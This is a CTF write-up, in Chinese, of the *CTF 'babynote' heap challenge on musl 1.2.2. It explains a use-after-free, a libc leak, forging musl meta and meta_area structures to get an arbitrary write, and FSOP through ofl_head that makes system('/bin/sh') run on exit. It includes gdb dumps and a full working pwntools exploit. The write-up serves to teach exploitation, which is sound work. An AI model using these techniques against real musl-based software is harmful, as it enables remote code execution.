# starctf babynote musl1.2.2

# 环境以及保护

dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ file babynote 
babynote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ checksec --file=babynote
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		2		babynote
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so 
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$

第一次做 musl 的题目,有点迷茫。一边查资料一边摸着做。比赛的时候没有任何的突破。

# 探索的过程

dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so babynote 
                                                   
    _/  _/  _/        _/_/_/  _/_/_/_/_/  _/_/_/_/ 
     _/_/_/        _/            _/      _/        
  _/_/_/_/_/      _/            _/      _/_/_/     
   _/_/_/        _/            _/      _/          
_/  _/  _/        _/_/_/      _/      _/           
                                                   
                                                   
--------menu-------
1: add a note
2: find a note
3: delete a note
4: forget all notes
5: exit
option:

发现并没有 edit 的功能。

反汇编以后,对于结构体的认知。

00000000 babynote        struc ; (sizeof=0x28, mappedto_6)
00000000 name            dq ?
00000008 note            dq ?
00000010 name_size       dq ?
00000018 note_size       dq ?
00000020 next            dq ?
00000028 babynote        ends

存在一个全局数组,储存了 abbynote 的指针,形成一个单链表。采用头插法进行添加。

# add

int add()
{
  babynote *ptr; // [rsp+8h] [rbp-8h]
  ptr = (babynote *)calloc(1uLL, 0x28uLL);
  ptr->name_size = addname(&ptr->name);
  ptr->note_size = addnote(&ptr->note);
  ptr->next = (__int64)list;
  list = (babynote **)ptr;
  return puts("ok");
}
/*--------------------------------------------------------*/
__int64 __fastcall addname(__int64 *ptr)
{
  size_t size; // [rsp+18h] [rbp-8h]
  printf("name size: ");
  size = getnum();
  *ptr = (__int64)calloc(1uLL, size);           //calloc 清空数据
  printf("name: ");
  return (int)readnode(*ptr, size);
}
unsigned __int64 __fastcall readnode(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  for ( i = 0; a2 > (int)i; ++i )
  {
    if ( read(0, &buf, 1uLL) != 1 )
      return i;
    *(_BYTE *)(a1 + (int)i) = buf;
    if ( buf == '\n' )                          // 一字节 \x00 溢出
    {
      *(_BYTE *)((int)i + a1) = 0;
      return i;
    }
  }
  return a2;
}
/*--------------------------------------------------------*/
__int64 __fastcall addnote(void *a1)
{
  size_t size; // [rsp+18h] [rbp-8h]
  printf("note size: ");
  size = getnum();
  *(_QWORD *)a1 = calloc(1uLL, size);
  printf("note content: ");
  return (int)readnode(*(_QWORD *)a1, size);
}

add 添加时,ida 分析的结果并不准确,这里永远存在一字节的空溢出。

后来根据网上查到的学习资料。由于 musl 的堆管理比较简单,这个空溢出可以用来修改 chunk 的 idx 位,伪造 meta。

后面再说。

# find

find 会创建一个 name 的 chunk, 然后根据 size 以及 list 保留的 size,cmp,最后比较字符串。如果相同就返回第一个找到的符合要求的 babynote 指针。

unsigned __int64 find()
{
  void *ptr; // [rsp+0h] [rbp-20h] BYREF
  size_t size; // [rsp+8h] [rbp-18h]
  babynote *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  ptr = 0LL;
  size = addname(&ptr);
  v3 = cmp(ptr, size);                          // 确认数据
  if ( v3 )
    info(v3->note, v3->note_size);
  else
    puts("oops.....");
  free(ptr);
  return __readfsqword(0x28u) ^ v4;
}
// 输出 babynote 的信息
int __fastcall info(char *a1, unsigned __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-4h]
  printf("%#lx:", a2);
  for ( i = 0; a2 > i; ++i )
    printf("%02x", a1[i]);
  return puts(&s);
}

输出的信息也会收到 size 的限制。当时我有看到一个点,就是 i 是有符号的,而 a2 无符号。但是貌似没有什么价值。最后 free 那个临时创建的 chunk.

# delete

unsigned __int64 delete()
{
  babynote *v1; // [rsp+8h] [rbp-28h] BYREF
  babynote **i; // [rsp+10h] [rbp-20h]
  size_t size; // [rsp+18h] [rbp-18h]
  babynote *ptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  v1 = 0LL;
  size = addname(&v1);
  ptr = cmp(v1, size);                          /// 删除某个特定的
  if ( ptr )
  {
    if ( ptr != list || list->next )
    {
      if ( ptr->next )
      {
        for ( i = &list; ptr != *i; i = &(*i)->next )
          ;
        *i = ptr->next;
      }                                         // 解链表
    }
    else
    {
      list = 0LL;                               // 删除头指针,就清空了所有
    }
    free(ptr->name);
    free(ptr->note);                            // 释放 note
    free(ptr);
    puts("ok");
  }
  else
  {
    puts("oops.....");
  }
  free(v1);                                     // 删除临时结构体
  return __readfsqword(0x28u) ^ v5;
}

删除 note 的时候,会遍历链表,找到对应的指针后,会 set 对应结构的 next 指针。p->next = p->next->next. 但是如果 ptr 是尾指针,就不会进行 set. 存在 UAF

# 利用

delete 最后一个,只会 free 对应的堆块,但是倒数第二个 babynote 的 next 没有 reset, 所以就存在了 uaf. 但是 musl 的堆块释放后并不会进入 bins。只有 meta 的所有 avail_maks 都被释放后才会将 meta 释放,并把 meta 放入双链表,dequeue(所以 meta free 后是)

程序的了漏洞在于 delete 时存在的 UAF, 如果我们将其释放后,并对其 note 进行 reuse, 而且用作 babbynote, 就会在 slot 上储存 3 个指针,导致 heapaddr 泄露。但是这里需要布置对的结构。

<u>musl 的堆比较特殊,meta 页是按照顺序申请的,而且与 group 页隔离。当同一个 size 的 meta 分配满之后,如果继续申请,会使用 avail_meta 保留的一个 meta 地址,当然这了 meta 是全新的。而且,一旦申请后,malloc_context active 数组对应位置就会保留正在分配的 meta. 同时会将这两个 meta 的 prev next 设置,形成双链表。如果其中一个 meta 满无法分配,或者被 free,就会解开连表。full_meta 的 prev 和 next 被清零。</u>

# 泄露 libc

回到题目,这里我们可以泄露 group 组的地址,slot 地址是在 libc 的基础上得到的,所以泄露出 heap 的用户区地址就可以得到里 libc 地址。

我们利用堆风水,将链表的最后一个 bebynote 释放,存在 uaf,然后通过构造,拿到他的 note slot 作为一个新的 babynote, 这杨这里就储存了 heapd 的地址,然后泄露。

add(b'a',b'a')
add(b'b'*0x28,b'b'*0x28)
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c
free(b'a')				#free the first note,the meta(0xc)is freed,
clean()					#now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed
add(b'a',b'a'*0x28)		#we alloc the last slot in meta(0x2c) for abynote,
						#.Reuse the 0 solt in meta(0xc) (malloc from bins),
						#then reuse the free slot in meta(0x2c)
add(b'b',b'b')			#malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)
free(b'a')			#malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from  meta2(0x2c),so meta1(0x2c),have 2 freed slot
add(b'd'*0x28,b'd'*0x28)#
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c)
add(b'f',b'f'*0x50)		#malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed, 
find(b'a')
r.recvuntil("0x28:")
ss = b'\x00'*0
for i in range(6):
	ss = r.recv(2)+ss
ss  = b'0x'+ss
print(ss)
libcbase = int(ss,16) -  0x29fdf0
stdout = libcbase + 0x2a0e00
system = libcbase + libc.sym['system']
__malloc_context = 0x2a1aa0+libcbase
print("libcbase : ",hex(libcbase))
print("system : ",hex(system))
print("stdout : ",hex(stdout))

# 泄露其他地址(meta)

这里,meta1 (0x2c) 还有一个 freed slot ,我们其实就是通过这个泄露的 heap。find 一个很重要的点就是,会 addname. 而且就算查不到也不出错,然后再将其释放,所以我们可以由此来重复利用这个 freed slot。find 的时候,这要 size 合适,就会将它返回给我们,然后在里面写入数据。并释放。之前我们说过,这里可以泄露 heap 地址,是因为他是我们 list 的最后一个 banynote,delete 后上一个 babynote 的 next 指针依旧指向这个 slot,所以导致泄露。

image-20220420203251874

所以我们可以进行任意地址读。将__malloc_context 的地址写在 note 的位置,就可以泄露,同时我们还可以改变 notesize, 控制泄露的长度。

由于 musl 的堆管理机制,虽然与 glibc 完全不一样,但是感觉通过代码分析是更容易的。

# 任意地址写

musl 的任意地址写与 glibc 的 unlink 核心想法一致,只不过是前面的检查方式不一样。我们一步步来分析。

首先 musl 的堆块不会进入 bins,只有 meta 被释放的时候,才会加入 freed_meta 双链表。当 meta 分配出去的 slot 全部被释放的时候,meta 会被释放。

# meta 的 结构

meta 结构一共占用 40bytes

pwndbg> p *(struct meta*)0x55555730d4f0
$3 = {
  prev = 0x55555730d4f0, 
  next = 0x55555730d4f0, 
  mem = 0x7f6431216c30, 
  avail_mask = 262, 
  freed_mask = 0, 
  last_idx = 9, 
  freeable = 1, 
  sizeclass = 2, 
  maplen = 0
}
/*
pwndbg> x/8gx 0x55555730d4f0
0x55555730d4f0:	0x000055555730d4f0	0x000055555730d4f0
0x55555730d500:	0x00007f6431216c30	0x0000000000000106
0x55555730d510:	0x00000000000000a9
*/

prev 与 next 分别指向上一个或者下一个 meta(meta 在 freed_meta 链表中)。mem 指向管理 meta 的 group,而 group 又包含的一下简单信息

pwndbg> p *(struct group*)0x55555730d4f0
$2 = {
  meta = 0x55555730d4f0, 
  active_idx = 16 '\020', 
  pad = "\324\060WUU\000", 
  storage = 0x55555730d500 "0l!1d\177"
}

其中很多信息我们不需要管信息,只要知道用户的使用的 slot 数据在 storage 里面。这里提一下,group 其实也可以看作是一个 slot,被另一个 “meta” 管理,这里提到这个是因为,free meta 的时候,除了会释放对应的 slot,还要释放对应的 group。slot 的储存结构也比较有意思,他并不会像 glibc 的 chunk 那样保留过多的本 slot 信息,只会用四字节来保留 slot 与 meta 的关系。

image-20220422192430250

1 这里是用户使用的区域,2 是 group 的信息,包括 meta

pwndbg> p *(struct group*)0x7f6431216c30
$4 = {
  meta = 0x55555730d4f0, 
  active_idx = 9 '\t', 
  pad = "\000\000\000\000\200\000", 
  storage = 0x7f6431216c40 ""
}

然后,3 这,他也只想一个地址,这里你也是一个 meta,与后面 group 的 free 有关。

slot 的堆头会保留与 base 的偏移,以及 slot 在 group 组的编号,通过偏移找到 base,也就是 group 的地址。

下面我们来说检查,要想把 fake_meta 释放掉,要保证 meta 只有一个 freeadble, 可以是只有 1 个 slot,也可以是其他状况,因为这个会涉及 meta 的 avail_mask 以及 freed_mask,我建议是把 freed_mask 写成 0,这样在 free 函数里的一个循环时,直接跳出,减少工作量。

// atomic free without locking if this is neither first or last slot
	for (;;) {
		uint32_t freed = g->freed_mask;
		uint32_t avail = g->avail_mask;
		uint32_t mask = freed | avail;
		assert(!(mask&self));
		if (!freed || mask+self==all) break;
		if (!MT)
			g->freed_mask = freed+self;
		else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
			continue;
		return;
	}

上面提到的根据用户指针找到对应的 meta,在 free 函数里被封装在 get_meta () 函数里,这里也是我们的第一个检查。

static inline struct meta *get_meta(const unsigned char *p)
{
	assert(!((uintptr_t)p & 15));
	int offset = *(const uint16_t *)(p - 2);
	int index = get_slot_index(p);
	if (p[-4]) {
		assert(!offset);
		offset = *(uint32_t *)(p - 8);
		assert(offset > 0xffff);
	}
	const struct group *base = (const void *)(p - UNIT*offset - UNIT);						//UNIT = 16
	const struct meta *meta = base->meta;
	assert(meta->mem == base);
	assert(index <= meta->last_idx);
	assert(!(meta->avail_mask & (1u<<index)));
	assert(!(meta->freed_mask & (1u<<index)));
	const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
	assert(area->check == ctx.secret);
	if (meta->sizeclass < 48) {
		assert(offset >= size_classes[meta->sizeclass]*index);
		assert(offset < size_classes[meta->sizeclass]*(index+1));
	} else {
		assert(meta->sizeclass == 63);
	}
	if (meta->maplen) {
		assert(offset <= meta->maplen*4096UL/UNIT - 1);
	}
	return (struct meta *)meta;
}

一些 offset,idx 的设置其实有相关的计算方式,但是为了方便,我们伪造的之前,可以把利用程序做一个真实的对布局,然后直接把 group,meta 的结构体中的使用位的参数复制出来。这样就可以很方便的跳过检查。我们将 fake 伪造在一个大的堆块上,fake 会根据 const struct meta *meta = base->meta; 来查询到,下面我们还要伪造一个 meta_area 结构体,这个结构体保留了__malloc_context 的 secret,然后这个 area 是 0x1000 字节对齐的,const struct meta_area *area = (void *)((uintptr_t) meta & -4096);,这个跟我们的 fake_meta 的地址是相关联的,所以我们需要在一个 0x1000 字节对齐的地方布置一个 fake_meta_area, 主要就是把 secret 写进去,绕过检查。这里并不会检查 meta 的 prev 以及 next 是否合法,所以这里有一个任意地址的写。把 prev 地址 + 8 写为 next 的值。释放 slot 的检查基本就结束,因为我们伪造的 slot 的头,以及 fake_meta 都是真实的样子,然后还有一个关键的检查是在 dequeue (unlink) 之后 free_group,这里会将 group 指针作为一个 slot 指针,进行 free。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{
	uint32_t self = 1u<<i;
	int sc = g->sizeclass;
	uint32_t mask = g->freed_mask | g->avail_mask;
	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
		// any multi-slot group is necessarily on an active list
		// here, but single-slot groups might or might not be.
		if (g->next) {
			assert(sc < 48);
			int activate_new = (ctx.active[sc]==g);
			dequeue(&ctx.active[sc], g);					// 任意地址写
			if (activate_new && ctx.active[sc])
				activate_group(ctx.active[sc]);
		}
		return free_group(g);
	} else if (!mask) {
		assert(sc < 48);
		// might still be active if there were no allocations
		// after last available slot was taken.
		if (ctx.active[sc] != g) {
			queue(&ctx.active[sc], g);
		}
	}
    
    static inline void dequeue(struct meta **phead, struct meta *m)				//unlink the meta
{
	if (m->next != m) {							//meta is freed
		m->prev->next = m->next;
		m->next->prev = m->prev;
		if (*phead == m) *phead = m->next;
	} else {
		*phead = 0;
	}
	m->prev = m->next = 0;
}

就是我们上面图片的 3 号位置。这个是 group 对应的 meta, 这里利用同样的手段伪造一个 fake_meta_area 以及一个 meta, 只需要在另外一个 0x1000 字节对齐的空间布置下 secret,后面布置 fake_meta2 就可以了。因为这里的检查也主要是 get_meta (). 最后 free_meta ()

static inline void free_meta(struct meta *m)
{
	*m = (struct meta){0};
	queue(&ctx.free_meta_head, m);
}
static inline void queue(struct meta **phead, struct meta *m)						
    //inser m in the front of queue,but it will not change the phead ptr 
{
	assert(!m->next);
	assert(!m->prev);
	if (*phead) {
		struct meta *head = *phead;
		m->next = head;
		m->prev = head->prev;
		m->next->prev = m->prev->next = m;
	} else {
		m->prev = m->next = m;
		*phead = m;
	}
}

没有什么其他检查。

# 利用

回到题目,我们利用 UAF,

add(b'g'*0x28,b'g'*0x28)
add(b'h'*0x28,b'h'*0x28)
fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0)
add(b'i',fakebabynote)
free(b'g'*0x28)
gdb.attach(r)
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00'))
free(b'b')

group 里的第一个 slot 开始被用作存放 banynote1,next 指针指向 0,babynotelist 头插法之后删掉第一个创建的 babynote,然后堆风水将 slot0(原本作为 babynote)作为 name 或者 note 堆块,可以写入数据,但是因为存在 uaf, 虽然 slot0 作为链表头的 name 或者 note, 但是依旧可以链表的遍历将他看成一个节点,我们还可以将其 next 指针写为我们 kafechunk 的地址,这个 fakechunk 其实是一个 babynote 的 name 或者 note,只是伪造成了 bebynote 的布局,对应 note 之指针指向我们布局好的 fakeslot

pwndbg> x/64gx  0x7f22b639fc30
0x7f22b639fc30:	0x00005555569254f0	0x0000ff0000000009
0x7f22b639fc40:	0x00007f22b639fc70	0x00007f22b639fca0
0x7f22b639fc50:	0x0000000000000028	0x0000000000000028
0x7f22b639fc60:	0x0000000000000000	0x0000ff0000000000				// 下一次申请,这里会被改写
0x7f22b639fc70:	0x6767676767676767	0x6767676767676767
0x7f22b639fc80:	0x6767676767676767	0x6767676767676767
0x7f22b639fc90:	0x6767676767676767	0x0000ff0000000000
0x7f22b639fca0:	0x6767676767676767	0x6767676767676767
0x7f22b639fcb0:	0x6767676767676767	0x6767676767676767
0x7f22b639fcc0:	0x6767676767676767	0x0009830000000000
0x7f22b639fcd0:	0x00007f22b639fd00	0x00007f22b639fd30
0x7f22b639fce0:	0x0000000000000028	0x0000000000000028
0x7f22b639fcf0:	0x00007f22b639fc40	0x000c840000000000
0x7f22b639fd00:	0x6868686868686868	0x6868686868686868
0x7f22b639fd10:	0x6868686868686868	0x6868686868686868
0x7f22b639fd20:	0x6868686868686868	0x000f850000000000
0x7f22b639fd30:	0x6868686868686868	0x6868686868686868
0x7f22b639fd40:	0x6868686868686868	0x6868686868686868
0x7f22b639fd50:	0x6868686868686868	0x0012860000000000
0x7f22b639fd60:	0x00007f22b63a3e20	0x00007f22b639fd90//fakebabynote 的地址
0x7f22b639fd70:	0x0000000000000001	0x0000000000000028
0x7f22b639fd80:	0x00007f22b639fcd0	0x0015870000000000
0x7f22b639fd90:	0x00007f22b63a3dd0	0x00007f22b6395070		//fakebabynote,0x00007f22b6395070 指向我们伪造的 slot
0x7f22b639fda0:	0x0000000000000001	0x0000000000000028
0x7f22b639fdb0:	0x0000000000000000	0x0000ff0000000000
0x7f22b639fdc0:	0x6767676767676767	0x6767676767676767
0x7f22b639fdd0:	0x6767676767676767	0x6767676767676767
0x7f22b639fde0:	0x6767676767676767	0x0000000000000000
0x7f22b639fdf0:	0x0000000000000000	0x0000000000000000
0x7f22b639fe00:	0x0000000000000000	0x0000000000000000
0x7f22b639fe10:	0x0000000000000000	0x0000000000000000
0x7f22b639fe20:	0x0000555556925090	0x0000ff0000000000

我们把 slot 申请成为 name 后

pwndbg> x/64gx  0x7f22b639fc30
0x7f22b639fc30:	0x00005555569254f0	0x0000800000000009
0x7f22b639fc40:	0x00007f22b639fd00	0x00007f22b639fd00
0x7f22b639fc50:	0x0000000000000008	0x0000000000000008
0x7f22b639fc60:	0x00007f22b639fd90	0x0000ff0000000000
0x7f22b639fc70:	0x6767676767676767	0x6767676767676767
0x7f22b639fc80:	0x6767676767676767	0x6767676767676767
0x7f22b639fc90:	0x6767676767676767	0x0000ff0000000000
0x7f22b639fca0:	0x6767676767676767	0x6767676767676767
0x7f22b639fcb0:	0x6767676767676767	0x6767676767676767
0x7f22b639fcc0:	0x6767676767676767	0x0009830000000000
0x7f22b639fcd0:	0x00007f22b639fd00	0x00007f22b639fd30
0x7f22b639fce0:	0x0000000000000028	0x0000000000000028
0x7f22b639fcf0:	0x00007f22b639fc40	0x000c840000000000
0x7f22b639fd00:	0x6868686868686868	0x6868686868686868
0x7f22b639fd10:	0x6868686868686868	0x6868686868686868
0x7f22b639fd20:	0x6868686868686868	0x000f850000000000
0x7f22b639fd30:	0x6868686868686868	0x6868686868686868
0x7f22b639fd40:	0x6868686868686868	0x6868686868686868
0x7f22b639fd50:	0x6868686868686868	0x0012860000000000
0x7f22b639fd60:	0x00007f22b63a3e20	0x00007f22b639fd90
0x7f22b639fd70:	0x0000000000000001	0x0000000000000028
0x7f22b639fd80:	0x00007f22b639fcd0	0x0015870000000000
0x7f22b639fd90:	0x00007f22b63a3dd0	0x00007f22b6395070
0x7f22b639fda0:	0x0000000000000001	0x0000000000000028
0x7f22b639fdb0:	0x0000000000000000	0x0000ff0000000000
0x7f22b639fdc0:	0x6767676767676767	0x6767676767676767
0x7f22b639fdd0:	0x6767676767676767	0x6767676767676767
0x7f22b639fde0:	0x6767676767676767	0x001b890000000000
0x7f22b639fdf0:	0x00007f22b639fc40	0x00007f22b6394020	//babynotelist 的头指针,
0x7f22b639fe00:	0x0000000000000028	0x0000000000002030
0x7f22b639fe10:	0x00007f22b639fd60	0x0000000000000000
0x7f22b639fe20:	0x0000555556925090	0x0000ff0000000000

可以看到我们可以通过 b'b'(0x00007f22b63a3dd0 的数据是‘b’) 找到我们的 fake_babynote, 然后释放掉 0x00007f22b6395070 这个伪 slot

pwndbg> x/18gx 0x00007f22b6395070-0x60
0x7f22b6395010:	0x0000000000000000	0x0000000000000000
0x7f22b6395020:	0x00007f22b63a7e20	0x00007f22b63a2e20
0x7f22b6395030:	0x00007f22b6395060	0x00000000000003fe
0x7f22b6395040:	0x00000000000000a9	0x0000000000000000
0x7f22b6395050:	0x00007f22b6396020	0x0000c00000000000
0x7f22b6395060:	0x00007f22b6395020	0x0000800000000009			// 伪造的 slot 堆头
0x7f22b6395070:	0x4141414141414141	0x0000000000000000			
0x7f22b6395080:	0x0000000000000000	0x0000000000000000
0x7f22b6395090:	0x0000000000000000	0x0000000000000000

0x7f22b6395060 这个地址就是伪造的 group 的 base 地址,对应的数据就是伪造的 meta 地址

image-20220422200825484

image-20220422200924302

0x00007f22b63a7e20 这里就是我们的目标地址 - 8,0x00007f22b63a2e20 这个地址是我们下一个申请出来的 slot 的真实地址(申请 0x50)mem==base,

下面是伪造的 fake_meta1 以及对应的 fake_meta_area1

image-20220422201357563

最后是 free_group 时的伪造的 fake_meta2 和 fake_meta_area

image-20220422201627965

# FSOP

我们任意地址写的,是 ofl_head,类似于 glibc 的 ——IO__lisl_all, 只不过则合理一般情况下是空的,利用在于 exit 函数

_Noreturn void exit(int code)
{
	__funcs_on_exit();
	__libc_exit_fini();
	__stdio_exit();
	_Exit(code);
}
void __stdio_exit(void)
{
	FILE *f;
	for (f=*__ofl_lock(); f; f=f->next) close_file(f);
	close_file(__stdin_used);
	close_file(__stdout_used);
	close_file(__stderr_used);
}
FILE **__ofl_lock()
{
	LOCK(ofl_lock);
	return &ofl_head;
}
static void close_file(FILE *f)
{
	if (!f) return;
	FFINALLOCK(f);
	if (f->wpos != f->wbase) f->write(f, 0, 0);
	if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

我们把 ofl_head 改成我们可以控制的 slot 的地址,就在那里伪造一个 stdout,if (f->wpos != f->wbase) f->write (f, 0, 0); 并满足这里的条件(wpos!=wbase)write 改策划给你 system, 而且会把 fd 作为参数,fd 就是就会指向 flags, 把他写位‘/bin/sh\x00'

正常的 stdout

pwndbg> p *stdout
$21 = {
  flags = 69, 
  rpos = 0x0, 
  rend = 0x0, 
  close = 0x7f22b61557e5 <__stdio_close>, 
  wend = 0x0, 
  wpos = 0x0, 
  mustbezero_1 = 0x0, 
  wbase = 0x0, 
  read = 0x0, 
  write = 0x7f22b615598e <__stdio_write>, 
  seek = 0x7f22b615597d <__stdio_seek>, 
  buf = 0x7f22b63a6708 <buf+8> "", 
  buf_size = 0, 
  prev = 0x0, 
  next = 0x0, 
  fd = 1, 
  pipe_pid = 0, 
  lockcount = 0, 
  mode = -1, 
  lock = -1, 
  lbf = -1, 
  cookie = 0x0, 
  off = 0, 
  getln_buf = 0x0, 
  mustbezero_2 = 0x0, 
  shend = 0x0, 
  shlim = 0, 
  shcnt = 0, 
  prev_locked = 0x0, 
  next_locked = 0x0, 
  locale = 0x0
}

下面是伪造的 stdout

pwndbg> p * (FILE * const)0x7fc49ff72e20
$3 = {
  flags = 1852400175, 
  rpos = 0x0, 
  rend = 0x0, 
  close = 0x0, 
  wend = 0x0, 
  wpos = 0x0, 
  mustbezero_1 = 0x0, 
  wbase = 0x1 <error: Cannot access memory at address 0x1>, 
  read = 0x1, 
  write = 0x7fc49fd1b963 <system>, 
  seek = 0x7fc49fd1b963 <system>, 
  buf = 0x0, 
  buf_size = 0, 
  prev = 0x0, 
  next = 0x0, 
  fd = 0, 
  pipe_pid = 0, 
  lockcount = 0, 
  mode = 0, 
  lock = 0, 
  lbf = 0, 
  cookie = 0x0, 
  off = 0, 
  getln_buf = 0x0, 
  mustbezero_2 = 0x0, 
  shend = 0x0, 
  shlim = 0, 
  shcnt = 0, 
  prev_locked = 0x0, 
  next_locked = 0x0, 
  locale = 0x0
}

最后 exit 结束程序

# 完整 exp

部分注释可能错误

from pwn import *
context.log_level ='debug'
libc = ELF("./libc.so")
r=process(["./libc.so",'./babynote'])
elf = ELF('./babynote')
puts_got = elf.got['puts']
def get8():
	ret = b'a'*0
	for i in range(8):
		ret = r.recv(2)+ret
	ret = b'0x'+ret
	return int(ret,16)
def get4():
	ret = b'a'*0
	for i in range(4):
		ret = r.recv(2)+ret
	ret = b'0x'+ret
	return int(ret,16)
def ch(i):
	r.sendlineafter("option:",str(i))
def add(name,text):
	ch(1)
	r.sendlineafter("name size:",str(len(name)))
	r.sendafter("name",name)
	r.sendlineafter("size",str(len(text)))
	r.sendafter("content",text)
def find(name):
	ch(2)
	r.sendlineafter("name size:",str(len(name)))
	r.sendafter("name",name)
def free(name):
	ch(3)
	r.sendlineafter("name size:",str(len(name)))
	r.sendafter("name",name)
def clean():			#only set list=0 
	ch(4)
gdb.attach(r,'b malloc')
add(b'a',b'a')
add(b'b'*0x28,b'b'*0x28)
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c
free(b'a')				#free the first note,the meta(0xc)is freed,
clean()					#now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed
add(b'a',b'a'*0x28)		#we alloc the last slot in meta(0x2c) for abynote,
						#.Reuse the 0 solt in meta(0xc) (malloc from bins),
						#then reuse the free slot in meta(0x2c)
add(b'b',b'b')			#malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)
free(b'a')			#malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot
add(b'c'*0x28,b'c'*0x28)#malloc 3slot from  meta2(0x2c),so meta1(0x2c),have 2 freed slot
add(b'd'*0x28,b'd'*0x28)#
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c)
add(b'f',b'f'*0x50)		#malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed, 
find(b'a')
r.recvuntil("0x28:")
ss = b'\x00'*0
for i in range(6):
	ss = r.recv(2)+ss
ss  = b'0x'+ss
print(ss)
heap_addr = int(ss,16) 
libcbase = heap_addr-  0x29fdf0
stdout = libcbase + 0x2a0e00
system = libcbase + libc.sym['system']
__malloc_context = 0x2a1aa0+libcbase
ofl_head = libcbase+ 0x2a3e28 
fake_stdout_addr = libcbase+0x29ee20			#we can malloc0x50 to get 
print("libcbase : ",hex(libcbase))
print("system : ",hex(system))
print("stdout : ",hex(stdout))
#here we can leak anywhere
pad = p64(libcbase+0x29fdb0)+p64(__malloc_context)+p64(1)+p64(0x420)+p64(0)
find(pad)
find(b'a')
#leak __malloc_context to  get meta addr
r.recvuntil(b"0x420:")
secret =get8()
r.recv(16)
free_meta = get8()
avail_meta = get8()
for i in range(6):
	get8()
active=list()
for i in range(48):
	active.append(get8())
meta_base  = active[0]-0x28
add(b'Z'*0x100,b'Z'*0x100)				#fill up  the old meta to create new meta3(0x2c)
clean()
fakemeta_addr = 0x291020+libcbase
fake_meta =b'\x00'*(4064)+p64(secret)+p64(0)*3 												
fake_meta += p64(ofl_head-0x8)+p64(fake_stdout_addr)										#fakemta1
fake_meta +=p64(fakemeta_addr+0x40)+p64(0x3fe)+p64(0xa9)+p64(0)						
fake_meta +=p64(fakemeta_addr+0x1000)+p64(0x0000c00000000000)
fake_meta +=p64(fakemeta_addr)+p64(0x0000800000000009)
fake_meta +=b"AAAAAAAA"
fake_meta = fake_meta.ljust((0x2000-0x20),b'\x00')
fake_meta +=p64(secret)+p64(0)*3   														#fake_area1
fake_meta += p64(0)+p64(0)+p64(fakemeta_addr+0x30)+p64(0x0)+p64(0x3c0)+p64(0)			#fakemeta2	
#prepare fake chunk and fake sotor
add(b'g'*0x28,b'g'*0x28)
add(b'h'*0x28,b'h'*0x28)
fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0)
add(b'i',fakebabynote)
free(b'g'*0x28)
gdb.attach(r)
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00'))
free(b'b')
pause()
fake_stdfile  =b'/bin/sh\x00'+p64(0)*6+p64(1)*2+p64(system)*2
fake_stdfile = fake_stdfile.ljust(0x50,b'\x00')
add(b'i',fake_stdfile)
pause()
ch(5)
pause()
r.interactive()

# 参考链接

https://www.anquanke.com/post/id/241101

https://blog.csdn.net/kali_Ma/article/details/122970885?ops_request_misc=%7B%22request%5Fid%22%3A%22165044409316780265474836%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=165044409316780265474836&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-122970885.142v9control,157v4control&utm_term=musl+%E5%A0%86%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187